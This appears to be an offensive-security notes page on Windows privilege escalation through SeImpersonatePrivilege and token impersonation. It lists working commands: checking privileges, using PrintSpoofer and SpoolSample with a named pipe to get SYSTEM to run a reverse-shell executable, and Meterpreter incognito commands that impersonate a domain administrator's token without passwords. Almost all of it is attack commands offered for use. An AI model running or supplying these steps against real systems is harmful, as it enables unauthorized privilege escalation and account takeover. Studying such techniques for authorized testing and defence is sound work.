Serivce Account Access Token
SeImpersonatePrivilege
When no tokens related to other user accounts are available in memory, we can likely force the SYSTEM account to give us a token that we can impersonate. We can impersonate anyone who connects to our named pipe.
whoami /priv
cmd /c sc query spooler
#hacked web ser locally create pipe & serve with rev shell.exe
.\PrintSpoofer.exe \\.\pipe\test\pipe\spoolss c:\temp\shell.exe
#callback to the loaclly created pipe triggering shell.exe call
.\SpoolSample.exe webself01 webself01/pipe/test
Meterpreter
impersonate any logged in users and obtain code execution in their context without access to any passwords or hashes (need SYSTEM shell, from above or below)
getsystem
load incognito
help incognito
list_tokens -u
impersonate_token corp1\\admin
getuid
Last updated